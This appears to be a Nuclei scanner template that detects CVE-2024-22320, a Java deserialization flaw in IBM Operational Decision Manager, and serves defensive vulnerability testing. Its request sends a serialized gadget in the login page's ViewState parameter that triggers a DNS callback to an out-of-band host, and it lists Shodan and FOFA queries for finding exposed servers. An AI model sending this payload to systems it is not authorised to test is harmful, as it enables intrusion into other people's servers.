IBM Operational Decision Manager - Java Deserialization

id: CVE-2024-22320

info:
  name: IBM Operational Decision Manager - Java Deserialization
  author: DhiyaneshDK
  severity: high
  description: |
    IBM Operational Decision Manager 8.10.3, 8.10.4, 8.10.5.1, 8.11, 8.11.0.1, and 8.12.0.1 could allow a remote authenticated attacker to execute arbitrary code on the system, caused by an unsafe deserialization. By sending specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code in the context of SYSTEM.  IBM X-Force ID:  279146.
  impact: |
    Authenticated attackers can execute arbitrary code on the system through unsafe deserialization, potentially achieving complete system compromise.
  remediation: |
    Update IBM Operational Decision Manager to a version that addresses CVE-2024-22320.
  reference:
    - https://labs.watchtowr.com/double-k-o-rce-in-ibm-operation-decision-manager/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22320
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-22320
    cwe-id: CWE-502
    epss-score: 0.73398
    epss-percentile: 0.99396
    cpe: cpe:2.3:a:ibm:operational_decision_manager:8.10.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ibm
    product: operational_decision_manager
    shodan-query:
      - html:"IBM ODM"
      - http.html:"ibm odm"
    fofa-query:
      - title="IBM ODM"
      - title="ibm odm"
      - body="ibm odm"
  tags: cve,cve2024,ibm,odm,decision-manager,deserialization,jsf,rce,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/res/login.jsf?javax.faces.ViewState={{generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - 'javax.servlet.ServletException'

      - type: status
        status:
          - 500
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